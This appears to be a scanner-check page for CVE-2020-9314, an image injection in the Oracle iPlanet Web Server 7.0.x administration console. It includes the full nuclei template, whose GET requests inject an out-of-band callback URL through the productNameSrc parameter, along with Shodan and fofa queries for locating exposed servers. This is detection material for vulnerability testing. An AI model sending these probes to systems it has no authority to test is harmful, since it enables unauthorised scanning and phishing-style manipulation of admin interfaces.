Oracle iPlanet Web Server 7.0.x - Image Injection

mediumseverity

4.8CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Oracle iPlanet Web Server 7.0.x allows image injection in the Administration console via the productNameSrc parameter to an admingui URI. This issue exists because of an incomplete fix for CVE-2012-0516.

Impact

Attackers can inject malicious images into the admin console, potentially leading to social engineering, phishing attacks, or interface manipulation.

Fix

Oracle iPlanet Web Server 7.0.x is no longer supported. Migrate to a supported platform or restrict network access to the administration console.

How to confirm it

Send: GET {{BaseURL}}/admingui/version/Version?productNameSrc=http://{{interactsh-url}}/test.jpg&productNameHeight=500&productNameWidth=500 ; GET {{BaseURL}}/admingui/version/Masthead.jsp?productNameSrc=http://{{interactsh-url}}/test.jpg&productNameHeight=500&productNameWidth=500
Positive when: contains "productNameSrc" and "Oracle iPlanet" AND contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9314 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-9314

info:
  name: Oracle iPlanet Web Server 7.0.x - Image Injection
  author: DhiyaneshDk
  severity: medium
  description: |
    Oracle iPlanet Web Server 7.0.x allows image injection in the Administration console via the productNameSrc parameter to an admingui URI. This issue exists because of an incomplete fix for CVE-2012-0516.
  impact: |
    Attackers can inject malicious images into the admin console, potentially leading to social engineering, phishing attacks, or interface manipulation.
  remediation: |
    Oracle iPlanet Web Server 7.0.x is no longer supported. Migrate to a supported platform or restrict network access to the administration console.
  reference:
    - https://wwws.nightwatchcybersecurity.com/2020/05/10/two-vulnerabilities-in-oracles-iplanet-web-server-cve-2020-9315-and-cve-2020-9314/
    - http://seclists.org/fulldisclosure/2020/May/31
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2020-9314
    cwe-id: CWE-79
    epss-score: 0.01282
    epss-percentile: 0.70312
  metadata:
    verified: false
    max-request: 2
    vendor: oracle
    product: iplanet_web_server
    shodan-query: "Oracle-iPlanet-Web-Server"
    fofa-query: app="Oracle-iPlanet-Web-Server"
  tags: cve,cve2020,oracle,iplanet,injection,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admingui/version/Version?productNameSrc=http://{{interactsh-url}}/test.jpg&productNameHeight=500&productNameWidth=500"
      - "{{BaseURL}}/admingui/version/Masthead.jsp?productNameSrc=http://{{interactsh-url}}/test.jpg&productNameHeight=500&productNameWidth=500"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "productNameSrc"
          - "Oracle iPlanet"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from